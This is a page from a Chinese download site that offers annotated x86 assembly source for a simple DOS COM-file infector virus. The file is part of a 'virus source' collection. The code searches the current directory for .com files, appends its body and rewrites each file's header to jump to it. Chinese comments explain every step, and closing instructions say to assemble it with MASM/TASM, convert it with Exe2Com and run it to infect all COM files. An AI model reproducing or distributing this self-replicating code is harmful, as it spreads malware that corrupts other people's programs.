⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 最简单的病毒1.txt

📁 病毒源码 包括世上第一个病毒源码、蠕虫源码、冲击波源码
💻 TXT
字号:
这个病毒恐怕是世界上最简单的病毒了,它只会感染,不会有破坏动作。 
Coolest对病毒的每一部分给出了详细的注释。不要说你看不懂哦。^_^ 

VirusLength equ VirusEnd-VirusStart 
codeseg segment 
assume cs:codeseg,ds:codeseg,ss:codeseg 
org 100h 
main proc near 
InfectedCode db "M" 
db 3 dup(90h) 
VirusStart: 
call WhereIAm 
WhereIAm: 
pop si 
;si指向pop si的首地址now 
mov bp,si 
add si,Original4Bytes-WhereIAm 
;si指向Original4Bytes的首地址now 
mov di,100h 
movsw 
movsw 
;恢复原来的文件头4个字节,以执行完病毒体后返回时正常 
;执行原程序 
mov si,bp 
;si指向pop si的首地址now 
mov ah,4eh 
Look4NextTarget: 
mov dx,offset Target-WhereIAm 
add dx,si 
mov cx,0 
int 21h 
;查找第一个com文件 
jc error 
mov ax,3d02h 
mov dx,9eh 
int 21h 
jc error 
xchg ax,bx 
mov ah,3fh 
mov dx,si 
add dx,Original4Bytes-WhereIAm 
mov cx,4 
int 21h 
;保留原com文件前4个字节 
mov al,'M' 
cmp ds:[si+Original4Bytes-WhereIAm],al 
jz SickOrExe 
;已感染或是exe文件 
mov ax,4202h 
xor cx,cx 
xor dx,dx 
int 21h 
;移动指针到文件尾 
mov di,offset FourNewBytes-WhereIAm 
add di,2 
add di,si 
;di指向0,0的第一个0 
sub ax,4 
;恐怕最难明白就是这里了 
;病毒把'M' e9写进文件头两个字节里后 
;e9 wx yz被翻译为 jmp near $+2+yzwx 
;ax此时为文件长度,从而 
;文件头两条指令为 
;dec bp 
;jmp near (文件尾) 
mov ds:[di],ax 
add si,VirusStart-WhereIAm 
;si指向VirusStart 
mov ah,40h 
mov dx,si 
mov cx,VirusLength 
int 21h 
;写病毒体进文件 
mov si,bp 
;si指向pop si的首地址now(即WhereIAm) 
jc error 
mov ax,4200h 
xor cx,cx 
xor dx,dx 
int 21h 
;移动文件指针到文件头 
mov ah,40h 
mov cx,4 
mov dx,si 
add dx,FourNewBytes-WhereIAm 
int 21h 
;使文件执行时先跳到文件尾的病毒体执行 
jc error 
mov ah,3eh 
int 21h 
;关闭文件,感染完成 
SickOrExe: 
mov ah,4fh 
jmp Look4NextTarget 
error: 
mov ax,100h 
push ax 
ret 
;文件头四个字节已经恢复,可以正常执行原程序了 
main endp 
Original4Bytes: 
ret 
db 3 dup(?) 
;病毒初次运行时,若没找到com文件,就会 
;执行ret到psp段首 
Target db "*.com",0 
FourNewBytes db 'M',0e9h,0,0 
VirusEnd equ $ 
codeseg ends 
end main 

使用说明: 
用Masm或Tasm编译,然后用Exe2Com转换为com文件,运行即可感染当前目录下的 
所有com文件。

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -